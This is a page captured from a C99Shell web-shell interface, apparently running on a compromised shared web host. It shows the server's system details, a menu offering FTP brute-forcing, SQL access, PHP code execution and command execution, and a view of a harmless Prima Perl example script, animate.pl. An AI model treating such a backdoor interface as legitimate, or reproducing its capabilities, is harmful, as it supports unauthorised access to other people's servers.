!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/lib64/perl5/vendor_perl/Prima/examples/   drwxr-xr-x
Free 6181.89 GB of 6263.09 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     animate.pl (1.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
=head1 NAME

examples/animate.pl - Animate using L<Prima::Image::Animate>

=cut

use strict;
use warnings;
use Prima qw(Application Image::Animate);

my $clip_debug = 0;

unless ( @ARGV) {
    my $f = $0;
    $f =~ s/([\\\/]|^)([^\\\/]*)$/$1/;
    $f .= "../Prima/sys/win32/sysimage.gif";
    print "(no argument given, trying to find at least $f...";
    if ( -f $f) {
        print "ok)\n";
        print "Next time specify some GIF animation as an argument\n";
        @ARGV = ($f);
    } else {
        print "nopes)\n";
        die "Please specify some GIF animation as an argument\n";
    }
}

my $x = Prima::Image::Animate->load($ARGV[0]);
die "Can't load $ARGV[0]:$@\n" unless $x;

my ( $X, $Y) = ( 100, 100);
my $g = $::application-> get_image( $X, $Y, $x-> size);

$::application-> begin_paint;

my $break;
my $with_background = ($ARGV[1] // '') eq '-bg';

$SIG{INT} = sub { $break++ };
while ( my $info = $x-> next) {
    my $c = $g-> dup;
    $c-> begin_paint;
    $x-> draw_background( $c, 0, 0) if $with_background;
    $x-> draw( $c, 0, 0);

    $::application-> clipRect(
        $X + $info-> {left},
        $Y + $info-> {bottom},
        $X + $info-> {right},
        $Y + $info-> {top},
    ) if $clip_debug;

    $::application-> color(cl::Red);
    $::application-> rop(rop::XorPut);
    my @r = (
        $X + $info-> {left},
        $Y + $info-> {bottom},
        $X + $info-> {right},
        $Y + $info-> {top},
    );
    for ( 1..10) {
        next unless $clip_debug;
        $::application-> bar(@r);
        select(undef,undef,undef,0.03);
    }
    $::application-> rop(rop::CopyPut);
    $::application-> put_image( $X, $Y, $c);

    $::application-> sync;
    select(undef, undef, undef, $info-> {delay});

    last if $break;
}

$::application-> clipRect(0,0,$::application-> size);
$::application-> put_image( $X, $Y, $g, rop::CopyPut);

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0099 ]--